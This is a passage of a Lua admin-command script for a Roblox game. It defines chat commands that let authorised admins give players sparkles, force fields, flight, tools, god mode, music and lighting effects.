  1047. end
  1048. end))
  1049. end
  1050. end
  1051.  
  1052. if msg:lower():sub(1,9) == "sparkles " then
  1053. local plrz = GetPlr(plr, msg:lower():sub(10))
  1054. for i, v in pairs(plrz) do
  1055. coroutine.resume(coroutine.create(function()
  1056. if v and v.Character and v.Character:findFirstChild("Torso") then
  1057. local cl = Instance.new("Sparkles", v.Character.Torso) table.insert(objects, cl)
  1058. end
  1059. end))
  1060. end
  1061. end
  1062.  
  1063. if msg:lower():sub(1,11) == "unsparkles " then
  1064. local plrz = GetPlr(plr, msg:lower():sub(12))
  1065. for i, v in pairs(plrz) do
  1066. coroutine.resume(coroutine.create(function()
  1067. if v and v.Character and v.Character:findFirstChild("Torso") then
  1068. for z, cl in pairs(v.Character.Torso:children()) do if cl:IsA("Sparkles") then cl:Destroy() end end
  1069. end
  1070. end))
  1071. end
  1072. end
  1073.  
  1074. if msg:lower():sub(1,3) == "ff " then
  1075. local plrz = GetPlr(plr, msg:lower():sub(4))
  1076. for i, v in pairs(plrz) do
  1077. coroutine.resume(coroutine.create(function()
  1078. if v and v.Character then Instance.new("ForceField", v.Character) end
  1079. end))
  1080. end
  1081. end
  1082.  
  1083. if msg:lower():sub(1,5) == "unff " then
  1084. local plrz = GetPlr(plr, msg:lower():sub(6))
  1085. for i, v in pairs(plrz) do
  1086. coroutine.resume(coroutine.create(function()
  1087. if v and v.Character then
  1088. for z, cl in pairs(v.Character:children()) do if cl:IsA("ForceField") then cl:Destroy() end end
  1089. end
  1090. end))
  1091. end
  1092. end
  1093.  
  1094. if msg:lower():sub(1,7) == "punish " then
  1095. local plrz = GetPlr(plr, msg:lower():sub(8))
  1096. for i, v in pairs(plrz) do
  1097. coroutine.resume(coroutine.create(function()
  1098. if v and v.Character then
  1099. v.Character.Parent = game:service("Lighting")
  1100. end
  1101. end))
  1102. end
  1103. end
  1104.  
  1105. if msg:lower():sub(1,9) == "unpunish " then
  1106. local plrz = GetPlr(plr, msg:lower():sub(10))
  1107. for i, v in pairs(plrz) do
  1108. coroutine.resume(coroutine.create(function()
  1109. if v and v.Character then
  1110. v.Character.Parent = game:service("Workspace")
  1111. v.Character:MakeJoints()
  1112. end
  1113. end))
  1114. end
  1115. end
  1116.  
  1117. if msg:lower():sub(1,7) == "freeze " then
  1118. local plrz = GetPlr(plr, msg:lower():sub(8))
  1119. for i, v in pairs(plrz) do
  1120. coroutine.resume(coroutine.create(function()
  1121. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  1122. for a, obj in pairs(v.Character:children()) do
  1123. if obj:IsA("BasePart") then obj.Anchored = true end v.Character.Humanoid.WalkSpeed = 0
  1124. end
  1125. end
  1126. end))
  1127. end
  1128. end
  1129.  
  1130. if msg:lower():sub(1,5) == "thaw " then
  1131. local plrz = GetPlr(plr, msg:lower():sub(6))
  1132. for i, v in pairs(plrz) do
  1133. coroutine.resume(coroutine.create(function()
  1134. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  1135. for a, obj in pairs(v.Character:children()) do
  1136. if obj:IsA("BasePart") then obj.Anchored = false end v.Character.Humanoid.WalkSpeed = 16
  1137. end
  1138. end
  1139. end))
  1140. end
  1141. end
  1142.  
  1143. if msg:lower():sub(1,5) == "heal " then
  1144. local plrz = GetPlr(plr, msg:lower():sub(6))
  1145. for i, v in pairs(plrz) do
  1146. coroutine.resume(coroutine.create(function()
  1147. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  1148. v.Character.Humanoid.Health = v.Character.Humanoid.MaxHealth
  1149. end
  1150. end))
  1151. end
  1152. end
  1153.  
  1154. if msg:lower():sub(1,4) == "god " then
  1155. local plrz = GetPlr(plr, msg:lower():sub(5))
  1156. for i, v in pairs(plrz) do
  1157. coroutine.resume(coroutine.create(function()
  1158. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  1159. v.Character.Humanoid.MaxHealth = math.huge
  1160. v.Character.Humanoid.Health = 9e9
  1161. end
  1162. end))
  1163. end
  1164. end
  1165.  
  1166. if msg:lower():sub(1,6) == "ungod " then
  1167. local plrz = GetPlr(plr, msg:lower():sub(7))
  1168. for i, v in pairs(plrz) do
  1169. coroutine.resume(coroutine.create(function()
  1170. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  1171. v.Character.Humanoid.MaxHealth = 100
  1172. v.Character.Humanoid.Health = v.Character.Humanoid.MaxHealth
  1173. end
  1174. end))
  1175. end
  1176. end
  1177.  
  1178. if msg:lower():sub(1,8) == "ambient " then
  1179. local chk1 = msg:lower():sub(9):find(" ") + 8
  1180. local chk2 = msg:sub(chk1+1):find(" ") + chk1
  1181. game.Lighting.Ambient = Color3.new(msg:sub(9,chk1-1),msg:sub(chk1+1,chk2-1),msg:sub(chk2+1))
  1182. end
  1183.  
  1184. if msg:lower():sub(1,11) == "brightness " then
  1185. game.Lighting.Brightness = msg:sub(12)
  1186. end
  1187.  
  1188. if msg:lower():sub(1,5) == "time " then
  1189. game.Lighting.TimeOfDay = msg:sub(6)
  1190. end
  1191.  
  1192. if msg:lower():sub(1,9) == "fogcolor " then
  1193. local chk1 = msg:lower():sub(10):find(" ") + 9
  1194. local chk2 = msg:sub(chk1+1):find(" ") + chk1
  1195. game.Lighting.FogColor = Color3.new(msg:sub(10,chk1-1),msg:sub(chk1+1,chk2-1),msg:sub(chk2+1))
  1196. end
  1197.  
  1198. if msg:lower():sub(1,7) == "fogend " then
  1199. game.Lighting.FogEnd = msg:sub(8)
  1200. end
  1201.  
  1202. if msg:lower():sub(1,9) == "fogstart " then
  1203. game.Lighting.FogStart = msg:sub(10)
  1204. end
  1205.  
  1206. if msg:lower():sub(1,7) == "btools " then
  1207. local plrz = GetPlr(plr, msg:lower():sub(8))
  1208. for i, v in pairs(plrz) do
  1209. coroutine.resume(coroutine.create(function()
  1210. if v and v:findFirstChild("Backpack") then
  1211. local t1 = Instance.new("HopperBin", v.Backpack) t1.Name = "Move" t1.BinType = "GameTool"
  1212. local t2 = Instance.new("HopperBin", v.Backpack) t2.Name = "Clone" t2.BinType = "Clone"
  1213. local t3 = Instance.new("HopperBin", v.Backpack) t3.Name = "Delete" t3.BinType = "Hammer"
  1214. local t4= Instance.new("HopperBin", v.Backpack) t4.Name = "Resize"
  1215. local cl4 = script.LocalScriptBase:Clone() cl4.Parent = t4 cl4.Code.Value = [[
  1216. repeat wait() until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer:findFirstChild("PlayerGui")
  1217. local sb
  1218. local hs
  1219. local pdist
  1220.  
  1221. script.Parent.Selected:connect(function(mouse)
  1222. if not mouse then return end
  1223. sb = Instance.new("SelectionBox", game.Players.LocalPlayer.PlayerGui) sb.Color = BrickColor.new("Bright blue") sb.Adornee = nil
  1224. hs = Instance.new("Handles", game.Players.LocalPlayer.PlayerGui) hs.Color = BrickColor.new("Bright blue") hs.Adornee = nil
  1225. mouse.Button1Down:connect(function() if not mouse.Target or mouse.Target.Locked then sb.Adornee = nil hs.Adornee = nil else sb.Adornee = mouse.Target hs.Adornee = mouse.Target hs.Faces = mouse.Target.ResizeableFaces end end)
  1226. hs.MouseDrag:connect(function(old,dist) if hs.Adornee and math.abs(dist-pdist) >= hs.Adornee.ResizeIncrement then if hs.Adornee:Resize(old, math.floor((dist-pdist)/ hs.Adornee.ResizeIncrement + .5) * hs.Adornee.ResizeIncrement) then pdist = dist end end end)
  1227. hs.MouseButton1Down:connect(function() pdist = 0 end)
  1228. end)
  1229.  
  1230. script.Parent.Deselected:connect(function() sb:Destroy() hs:Destroy() end)]] cl4.Disabled = false
  1231. end
  1232. end))
  1233. end
  1234. end
  1235.  
  1236. if msg:lower():sub(1,12) == "startergive " then
  1237. local chk1 = msg:lower():sub(13):find(" ") + 12
  1238. local plrz = GetPlr(plr, msg:lower():sub(13,chk1-1))
  1239. for i, v in pairs(plrz) do
  1240. coroutine.resume(coroutine.create(function()
  1241. if v and v:findFirstChild("StarterGear") and game:findFirstChild("Lighting") then
  1242. for a, tool in pairs(game.Lighting:children()) do
  1243. if tool:IsA("Tool") or tool:IsA("HopperBin") then
  1244. if msg:lower():sub(chk1+1) == "all" or tool.Name:lower():find(msg:lower():sub(chk1+1)) == 1 then tool:Clone().Parent = v.StarterGear end
  1245. end
  1246. end
  1247. end
  1248. end))
  1249. end
  1250. end
  1251.  
  1252. if msg:lower():sub(1,5) == "give " then
  1253. local chk1 = msg:lower():sub(6):find(" ") + 5
  1254. local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  1255. for i, v in pairs(plrz) do
  1256. coroutine.resume(coroutine.create(function()
  1257. if v and v:findFirstChild("Backpack") and game:findFirstChild("Lighting") then
  1258. for a, tool in pairs(game.Lighting:children()) do
  1259. if tool:IsA("Tool") or tool:IsA("HopperBin") then
  1260. if msg:lower():sub(chk1+1) == "all" or tool.Name:lower():find(msg:lower():sub(chk1+1)) == 1 then tool:Clone().Parent = v.Backpack end
  1261. end
  1262. end
  1263. end
  1264. end))
  1265. end
  1266. end
  1267.  
  1268. if msg:lower():sub(1,12) == "removetools " then
  1269. local plrz = GetPlr(plr, msg:lower():sub(13))
  1270. for i, v in pairs(plrz) do
  1271. coroutine.resume(coroutine.create(function()
  1272. if v and v.Character and v:findFirstChild("Backpack") then
  1273. for a, tool in pairs(v.Character:children()) do if tool:IsA("Tool") or tool:IsA("HopperBin") then tool:Destroy() end end
  1274. for a, tool in pairs(v.Backpack:children()) do if tool:IsA("Tool") or tool:IsA("HopperBin") then tool:Destroy() end end
  1275. end
  1276. end))
  1277. end
  1278. end
  1279.  
  1280. if msg:lower():sub(1,5) == "rank " then
  1281. local chk1 = msg:lower():sub(6):find(" ") + 5
  1282. local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  1283. for i, v in pairs(plrz) do
  1284. coroutine.resume(coroutine.create(function()
  1285. if v and v:IsInGroup(msg:sub(chk1+1)) then
  1286. Hint("[" .. v:GetRankInGroup(msg:sub(chk1+1)) .. "] " .. v:GetRoleInGroup(msg:sub(chk1+1)), {plr})
  1287. elseif v and not v:IsInGroup(msg:sub(chk1+1))then
  1288. Hint(v.Name .. " is not in the group " .. msg:sub(chk1+1), {plr})
  1289. end
  1290. end))
  1291. end
  1292. end
  1293.  
  1294. if msg:lower():sub(1,7) == "damage " then
  1295. local chk1 = msg:lower():sub(8):find(" ") + 7
  1296. local plrz = GetPlr(plr, msg:lower():sub(8,chk1-1))
  1297. for i, v in pairs(plrz) do
  1298. coroutine.resume(coroutine.create(function()
  1299. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  1300. v.Character.Humanoid:TakeDamage(msg:sub(chk1+1))
  1301. end
  1302. end))
  1303. end
  1304. end
  1305.  
  1306. if msg:lower():sub(1,5) == "grav " then
  1307. local plrz = GetPlr(plr, msg:lower():sub(6))
  1308. for i, v in pairs(plrz) do
  1309. coroutine.resume(coroutine.create(function()
  1310. if v and v.Character and v.Character:findFirstChild("Torso") then
  1311. for a, frc in pairs(v.Character.Torso:children()) do if frc.Name == "BFRC" then frc:Destroy() end end
  1312. end
  1313. end))
  1314. end
  1315. end
  1316.  
  1317. if msg:lower():sub(1,8) == "setgrav " then
  1318. local chk1 = msg:lower():sub(9):find(" ") + 8
  1319. local plrz = GetPlr(plr, msg:lower():sub(9,chk1-1))
  1320. for i, v in pairs(plrz) do
  1321. coroutine.resume(coroutine.create(function()
  1322. if v and v.Character and v.Character:findFirstChild("Torso") then
  1323. for a, frc in pairs(v.Character.Torso:children()) do if frc.Name == "BFRC" then frc:Destroy() end end
  1324. local frc = Instance.new("BodyForce", v.Character.Torso) frc.Name = "BFRC" frc.force = Vector3.new(0,0,0)
  1325. for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") then frc.force = frc.force - Vector3.new(0,prt:GetMass()*msg:sub(chk1+1),0) elseif prt:IsA("Hat") then frc.force = frc.force - Vector3.new(0,prt.Handle:GetMass()*msg:sub(chk1+1),0) end end
  1326. end
  1327. end))
  1328. end
  1329. end
  1330.  
  1331. if msg:lower():sub(1,7) == "nograv " then
  1332. local plrz = GetPlr(plr, msg:lower():sub(8))
  1333. for i, v in pairs(plrz) do
  1334. coroutine.resume(coroutine.create(function()
  1335. if v and v.Character and v.Character:findFirstChild("Torso") then
  1336. for a, frc in pairs(v.Character.Torso:children()) do if frc.Name == "BFRC" then frc:Destroy() end end
  1337. local frc = Instance.new("BodyForce", v.Character.Torso) frc.Name = "BFRC" frc.force = Vector3.new(0,0,0)
  1338. for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") then frc.force = frc.force + Vector3.new(0,prt:GetMass()*196.25,0) elseif prt:IsA("Hat") then frc.force = frc.force + Vector3.new(0,prt.Handle:GetMass()*196.25,0) end end
  1339. end
  1340. end))
  1341. end
  1342. end
  1343.  
  1344. if msg:lower():sub(1,7) == "health " then
  1345. local chk1 = msg:lower():sub(8):find(" ") + 7
  1346. local plrz = GetPlr(plr, msg:lower():sub(8,chk1-1))
  1347. for i, v in pairs(plrz) do
  1348. coroutine.resume(coroutine.create(function()
  1349. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  1350. v.Character.Humanoid.MaxHealth = msg:sub(chk1+1)
  1351. v.Character.Humanoid.Health = v.Character.Humanoid.MaxHealth
  1352. end
  1353. end))
  1354. end
  1355. end
  1356.  
  1357. if msg:lower():sub(1,6) == "speed " then
  1358. local chk1 = msg:lower():sub(7):find(" ") + 6
  1359. local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1))
  1360. for i, v in pairs(plrz) do
  1361. coroutine.resume(coroutine.create(function()
  1362. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  1363. v.Character.Humanoid.WalkSpeed = msg:sub(chk1+1)
  1364. end
  1365. end))
  1366. end
  1367. end
  1368.  
  1369. if msg:lower():sub(1,5) == "team " then
  1370. local chk1 = msg:lower():sub(6):find(" ") + 5
  1371. local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  1372. for i, v in pairs(plrz) do
  1373. coroutine.resume(coroutine.create(function()
  1374. if v and game:findFirstChild("Teams") then
  1375. for a, tm in pairs(game.Teams:children()) do
  1376. if tm.Name:lower():find(msg:lower():sub(chk1+1)) == 1 then v.TeamColor = tm.TeamColor end
  1377. end
  1378. end
  1379. end))
  1380. end
  1381. end
  1382.  
  1383. if msg:lower():sub(1,6) == "place " then
  1384. local chk1 = msg:lower():sub(7):find(" ") + 6
  1385. local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1))
  1386. for i, v in pairs(plrz) do
  1387. coroutine.resume(coroutine.create(function()
  1388. if v and v:findFirstChild("PlayerGui") then
  1389. local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[game:service("TeleportService"):Teleport(]] .. msg:sub(chk1+1) .. ")" cl.Parent = v.PlayerGui cl.Disabled = false
  1390. end
  1391. end))
  1392. end
  1393. end
  1394.  
  1395. if msg:lower():sub(1,3) == "tp " then
  1396. local chk1 = msg:lower():sub(4):find(" ") + 3
  1397. local plrz = GetPlr(plr, msg:lower():sub(4,chk1-1))
  1398. local plrz2 = GetPlr(plr, msg:lower():sub(chk1+1))
  1399. for i, v in pairs(plrz) do
  1400. coroutine.resume(coroutine.create(function()
  1401. for i2, v2 in pairs(plrz2) do
  1402. if v and v2 and v.Character and v2.Character and v.Character:findFirstChild("Torso") and v2.Character:findFirstChild("Torso") then
  1403. v.Character.Torso.CFrame = v2.Character.Torso.CFrame + Vector3.new(math.random(-1,1),0,math.random(-1,1))
  1404. end
  1405. end
  1406. end))
  1407. end
  1408. end
  1409.  
  1410. if msg:lower():sub(1,7) == "change " then
  1411. local chk1 = msg:lower():sub(8):find(" ") + 7
  1412. local chk2 = msg:sub(chk1+1):find(" ") + chk1
  1413. local plrz = GetPlr(plr, msg:lower():sub(8,chk1-1))
  1414. for i, v in pairs(plrz) do
  1415. coroutine.resume(coroutine.create(function()
  1416. if v and v:findFirstChild("leaderstats") then
  1417. for a, st in pairs(v.leaderstats:children()) do
  1418. if st.Name:lower():find(msg:sub(chk1+1,chk2-1)) == 1 then st.Value = msg:sub(chk2+1) end
  1419. end
  1420. end
  1421. end))
  1422. end
  1423. end
  1424.  
  1425. if msg:lower():sub(1,6) == "shirt " then
  1426. local chk1 = msg:lower():sub(7):find(" ") + 6
  1427. local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1))
  1428. for i, v in pairs(plrz) do
  1429. coroutine.resume(coroutine.create(function()
  1430. if v and v.Character then
  1431. for i,v in pairs(v.Character:children()) do
  1432. if v:IsA("Shirt") then local cl = v:Clone() cl.Parent = v.Parent cl.ShirtTemplate = "http://www.roblox.com/asset/?id=" .. chk1 v:Destroy() end
  1433. end
  1434. end
  1435. end))
  1436. end
  1437. end
  1438.  
  1439. if msg:lower():sub(1,6) == "pants " then
  1440. local chk1 = msg:lower():sub(7):find(" ") + 6
  1441. local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1))
  1442. for i, v in pairs(plrz) do
  1443. coroutine.resume(coroutine.create(function()
  1444. if v and v.Character then
  1445. for i,v in pairs(v.Character:children()) do
  1446. if v:IsA("Pants") then local cl = v:Clone() cl.Parent = v.Parent cl.PantsTemplate = "http://www.roblox.com/asset/?id=" .. chk1 v:Destroy() end
  1447. end
  1448. end
  1449. end))
  1450. end
  1451. end
  1452.  
  1453. if msg:lower():sub(1,5) == "face " then
  1454. local chk1 = msg:lower():sub(6):find(" ") + 5
  1455. local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  1456. for i, v in pairs(plrz) do
  1457. coroutine.resume(coroutine.create(function()
  1458. if v and v.Character and v.Character:findFirstChild("Head") and v.Character.Head:findFirstChild("face") then
  1459. v.Character.Head:findFirstChild("face").Texture = "http://www.roblox.com/asset/?id=" .. chk1
  1460. end
  1461. end))
  1462. end
  1463. end
  1464.  
  1465.  
  1466. if FunCommands or plr.userId == game.CreatorId or ChkOwner(plr.Name:lower()) then
  1467.  
  1468. if msg:lower():sub(1,8) == "swagify " then
  1469. local plrz = GetPlr(plr, msg:lower():sub(9))
  1470. for i, v in pairs(plrz) do
  1471. coroutine.resume(coroutine.create(function()
  1472. if v and v.Character then
  1473. for i,v in pairs(v.Character:children()) do
  1474. if v.Name == "Shirt" then local cl = v:Clone() cl.Parent = v.Parent cl.ShirtTemplate = "http://www.roblox.com/asset/?id=109163376" v:Destroy() end
  1475. if v.Name == "Pants" then local cl = v:Clone() cl.Parent = v.Parent cl.PantsTemplate = "http://www.roblox.com/asset/?id=109163376" v:Destroy() end
  1476. end
  1477. for a,cp in pairs(v.Character:children()) do if cp.Name == "EpicCape" then cp:Destroy() end end
  1478. local cl = script.LocalScriptBase:Clone() cl.Name = "CapeScript" cl.Code.Value = [[local plr = game.Players.LocalPlayer
  1479. repeat wait() until plr and plr.Character and plr.Character:findFirstChild("Torso")
  1480. local torso = plr.Character.Torso
  1481. local p = Instance.new("Part", torso.Parent) p.Name = "EpicCape" p.Anchored = false
  1482. p.CanCollide = false p.TopSurface = 0 p.BottomSurface = 0 p.BrickColor = BrickColor.new("Pink") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=109301474" p.formFactor = "Custom"
  1483. p.Size = Vector3.new(.2,.2,.2)
  1484. local msh = Instance.new("BlockMesh", p) msh.Scale = Vector3.new(9,17.5,.5)
  1485. local motor1 = Instance.new("Motor", p)
  1486. motor1.Part0 = p
  1487. motor1.Part1 = torso
  1488. motor1.MaxVelocity = .01
  1489. motor1.C0 = CFrame.new(0,1.75,0)*CFrame.Angles(0,math.rad(90),0)
  1490. motor1.C1 = CFrame.new(0,1,.45)*CFrame.Angles(0,math.rad(90),0)
  1491. local wave = false
  1492. repeat wait(1/44)
  1493. local ang = 0.1
  1494. local oldmag = torso.Velocity.magnitude
  1495. local mv = .002
  1496. if wave then ang = ang + ((torso.Velocity.magnitude/10)*.05)+.05 wave = false else wave = true end
  1497. ang = ang + math.min(torso.Velocity.magnitude/11, .5)
  1498. motor1.MaxVelocity = math.min((torso.Velocity.magnitude/111), .04) + mv
  1499. motor1.DesiredAngle = -ang
  1500. if motor1.CurrentAngle < -.2 and motor1.DesiredAngle > -.2 then motor1.MaxVelocity = .04 end
  1501. repeat wait() until motor1.CurrentAngle == motor1.DesiredAngle or math.abs(torso.Velocity.magnitude - oldmag) >= (torso.Velocity.magnitude/10) + 1
  1502. if torso.Velocity.magnitude < .1 then wait(.1) end
  1503. until not p or p.Parent ~= torso.Parent
  1504. script:Destroy()
  1505. ]] cl.Parent = v.PlayerGui cl.Disabled = false
  1506. end
  1507. end))
  1508. end
  1509. end
  1510.  
  1511. if msg:lower():sub(1,6) == "music " then
  1512. for i, v in pairs(game.Workspace:children()) do if v:IsA("Sound") then v:Destroy() end end
  1513. local id = msg:sub(7)
  1514. local pitch = 1
  1515. if tostring(id):lower():find("caramell") then id = 2303479 end
  1516. if tostring(id):find("epic") then id = 27697743 pitch = 2.5 end
  1517. if tostring(id):find("rick") then id = 2027611 end
  1518. if tostring(id):find("halo") then id = 1034065 end
  1519. if tostring(id):find("pokemon") then id = 1372261 end
  1520. if tostring(id):find("cursed") then id = 1372257 end
  1521. if tostring(id):find("extreme") then id = 11420933 end
  1522. if tostring(id):find("awaken") then id = 27697277 end
  1523. if tostring(id):find("alone") then id = 27697392 end
  1524. if tostring(id):find("mario") then id = 1280470 end
  1525. if tostring(id):find("choir") then id = 1372258 end
  1526. if tostring(id):find("chrono") then id = 1280463 end
  1527. if tostring(id):find("dotr") then id = 11420922 end
  1528. if tostring(id):find("entertain") then id = 27697267 end
  1529. if tostring(id):find("fantasy") then id = 1280473 end
  1530. if tostring(id):find("final") then id = 1280414 end
  1531. if tostring(id):find("emblem") then id = 1372259 end
  1532. if tostring(id):find("flight") then id = 27697719 end
  1533. if tostring(id):find("banjo") then id = 27697298 end
  1534. if tostring(id):find("gothic") then id = 27697743 end
  1535. if tostring(id):find("hiphop") then id = 27697735 end
  1536. if tostring(id):find("intro") then id = 27697707 end
  1537. if tostring(id):find("mule") then id = 1077604 end
  1538. if tostring(id):find("film") then id = 27697713 end
  1539. if tostring(id):find("nezz") then id = 8610025 end
  1540. if tostring(id):find("angel") then id = 1372260 end
  1541. if tostring(id):find("resist") then id = 27697234 end
  1542. if tostring(id):find("schala") then id = 5985787 end
  1543. if tostring(id):find("organ") then id = 11231513 end
  1544. if tostring(id):find("tunnel") then id = 9650822 end
  1545. if tostring(id):find("spanish") then id = 5982975 end
  1546. if tostring(id):find("venom") then id = 1372262 end
  1547. if tostring(id):find("wind") then id = 1015394 end
  1548. if tostring(id):find("guitar") then id = 5986151 end
  1549. local s = Instance.new("Sound", game.Workspace) s.SoundId = "http://www.roblox.com/asset/?id=" .. id s.Volume = 1 s.Pitch = pitch s.Looped = true s.archivable = false repeat s:Play() wait(2.5) s:Stop() wait(.5) s:Play() until s.IsPlaying
  1550. end
  1551.  
  1552. if msg:lower() == "stopmusic" then
  1553. for i, v in pairs(game.Workspace:children()) do if v:IsA("Sound") then v:Destroy() end end
  1554. end
  1555.  
  1556. if msg:lower() == "musiclist" then
  1557. if plr.PlayerGui:findFirstChild("MUSICGUI") then return end
  1558. local scr, cmf, ent, num = ScrollGui() scr.Name = "MUSICGUI" scr.Parent = plr.PlayerGui
  1559. local list = {"caramell","epic","rick","halo","pokemon","cursed","extreme","awaken","alone","mario","choir","chrono","dotr","entertain","fantasy","final","emblem","flight","banjo","gothic","hiphop","intro","mule","film","nezz","angel","resist","schala","organ","tunnel","spanish","venom","wind","guitar"}
  1560. for i, v in pairs(list) do local cl = ent:Clone() cl.Parent = cmf cl.Text = v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
  1561. end
  1562.  
  1563. if msg:lower():sub(1,4) == "fly " then
  1564. local plrz = GetPlr(plr, msg:lower():sub(5))
  1565. for i, v in pairs(plrz) do
  1566. coroutine.resume(coroutine.create(function()
  1567. if v and v:findFirstChild("PlayerGui") then
  1568. local cl = script.LocalScriptBase:Clone() cl.Name = "FlyScript" cl.Code.Value = [[repeat wait() until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer.Character:findFirstChild("Torso") and game.Players.LocalPlayer.Character:findFirstChild("Humanoid")
  1569. local mouse = game.Players.LocalPlayer:GetMouse()
  1570. repeat wait() until mouse
  1571. local plr = game.Players.LocalPlayer
  1572. local torso = plr.Character.Torso
  1573. local flying = true
  1574. local deb = true
  1575. local ctrl = {f = 0, b = 0, l = 0, r = 0}
  1576. local lastctrl = {f = 0, b = 0, l = 0, r = 0}
  1577. local maxspeed = 50
  1578. local speed = 0
  1579. function Fly()
  1580. local bg = Instance.new("BodyGyro", torso)
  1581. bg.P = 9e4
  1582. bg.maxTorque = Vector3.new(9e9, 9e9, 9e9)
  1583. bg.cframe = torso.CFrame
  1584. local bv = Instance.new("BodyVelocity", torso)
  1585. bv.velocity = Vector3.new(0,0.1,0)
  1586. bv.maxForce = Vector3.new(9e9, 9e9, 9e9)
  1587. repeat wait()
  1588. plr.Character.Humanoid.PlatformStand = true
  1589. if ctrl.l + ctrl.r ~= 0 or ctrl.f + ctrl.b ~= 0 then
  1590. speed = speed+.5+(speed/maxspeed)
  1591. if speed > maxspeed then
  1592. speed = maxspeed
  1593. end
  1594. elseif not (ctrl.l + ctrl.r ~= 0 or ctrl.f + ctrl.b ~= 0) and speed ~= 0 then
  1595. speed = speed-1
  1596. if speed < 0 then
  1597. speed = 0
  1598. end
  1599. end
  1600. if (ctrl.l + ctrl.r) ~= 0 or (ctrl.f + ctrl.b) ~= 0 then
  1601. bv.velocity = ((game.Workspace.CurrentCamera.CoordinateFrame.lookVector * (ctrl.f+ctrl.b)) + ((game.Workspace.CurrentCamera.CoordinateFrame * CFrame.new(ctrl.l+ctrl.r,(ctrl.f+ctrl.b)*.2,0).p) - game.Workspace.CurrentCamera.CoordinateFrame.p))*speed
  1602. lastctrl = {f = ctrl.f, b = ctrl.b, l = ctrl.l, r = ctrl.r}
  1603. elseif (ctrl.l + ctrl.r) == 0 and (ctrl.f + ctrl.b) == 0 and speed ~= 0 then
  1604. bv.velocity = ((game.Workspace.CurrentCamera.CoordinateFrame.lookVector * (lastctrl.f+lastctrl.b)) + ((game.Workspace.CurrentCamera.CoordinateFrame * CFrame.new(lastctrl.l+lastctrl.r,(lastctrl.f+lastctrl.b)*.2,0).p) - game.Workspace.CurrentCamera.CoordinateFrame.p))*speed
  1605. else
  1606. bv.velocity = Vector3.new(0,0.1,0)
  1607. end
  1608. bg.cframe = game.Workspace.CurrentCamera.CoordinateFrame * CFrame.Angles(-math.rad((ctrl.f+ctrl.b)*50*speed/maxspeed),0,0)
  1609. until not flying
  1610. ctrl = {f = 0, b = 0, l = 0, r = 0}
  1611. lastctrl = {f = 0, b = 0, l = 0, r = 0}
  1612. speed = 0
  1613. bg:Destroy()
  1614. bv:Destroy()
  1615. plr.Character.Humanoid.PlatformStand = false
  1616. end
  1617. mouse.KeyDown:connect(function(key)
  1618. if key:lower() == "e" then
  1619. if flying then flying = false
  1620. else
  1621. flying = true
  1622. Fly()
  1623. end
  1624. elseif key:lower() == "w" then
  1625. ctrl.f = 1
  1626. elseif key:lower() == "s" then
  1627. ctrl.b = -1
  1628. elseif key:lower() == "a" then
  1629. ctrl.l = -1
  1630. elseif key:lower() == "d" then
  1631. ctrl.r = 1
  1632. end
  1633. end)
  1634. mouse.KeyUp:connect(function(key)
  1635. if key:lower() == "w" then
  1636. ctrl.f = 0
  1637. elseif key:lower() == "s" then
  1638. ctrl.b = 0
  1639. elseif key:lower() == "a" then
  1640. ctrl.l = 0
  1641. elseif key:lower() == "d" then
  1642. ctrl.r = 0
  1643. end
  1644. end)
  1645. Fly()]]
  1646. cl.Parent = v.PlayerGui cl.Disabled = false
  1647. end
  1648. end))
  1649. end
  1650. end
  1651.  
  1652. if msg:lower():sub(1,6) == "unfly " then
  1653. local plrz = GetPlr(plr, msg:lower():sub(7))
  1654. for i, v in pairs(plrz) do
  1655. coroutine.resume(coroutine.create(function()
  1656. if v and v:findFirstChild("PlayerGui") and v.Character and v.Character:findFirstChild("Torso") and v.Character:findFirstChild("Humanoid") then
  1657. for a, q in pairs(v.PlayerGui:children()) do if q.Name == "FlyScript" then q:Destroy() end end
  1658. for a, q in pairs(v.Character.Torso:children()) do if q.Name == "BodyGyro" or q.Name == "BodyVelocity" then q:Destroy() end end
  1659. wait(.1) v.Character.Humanoid.PlatformStand = false
  1660. end
  1661. end))
  1662. end
  1663. end
  1664.  
  1665. if msg:lower() == "disco" then
  1666. for i, v in pairs(lobjs) do v:Destroy() end
  1667. local cl = script.ScriptBase:Clone() cl.Name = "LightEdit" cl.Code.Value = [[repeat wait(.1) local color = Color3.new(math.random(255)/255,math.random(255)/255,math.random(255)/255)
  1668. game.Lighting.Ambient = color
  1669. game.Lighting.FogColor = color
  1670. until nil]]
  1671. table.insert(lobjs, cl) cl.Parent = game.Workspace cl.Disabled = false
  1672. end
  1673.  
  1674. if msg:lower() == "flash" then
  1675. for i, v in pairs(lobjs) do v:Destroy() end
  1676. local cl = script.ScriptBase:Clone() cl.Name = "LightEdit" cl.Code.Value = [[repeat wait(.1)
  1677. game.Lighting.Ambient = Color3.new(1,1,1)
  1678. game.Lighting.FogColor = Color3.new(1,1,1)
  1679. game.Lighting.Brightness = 1
  1680. game.Lighting.TimeOfDay = 14
  1681. wait(.1)
  1682. game.Lighting.Ambient = Color3.new(0,0,0)
  1683. game.Lighting.FogColor = Color3.new(0,0,0)
  1684. game.Lighting.Brightness = 0
  1685. game.Lighting.TimeOfDay = 0
  1686. until nil]]
  1687. table.insert(lobjs, cl) cl.Parent = game.Workspace cl.Disabled = false
  1688. end
  1689.  
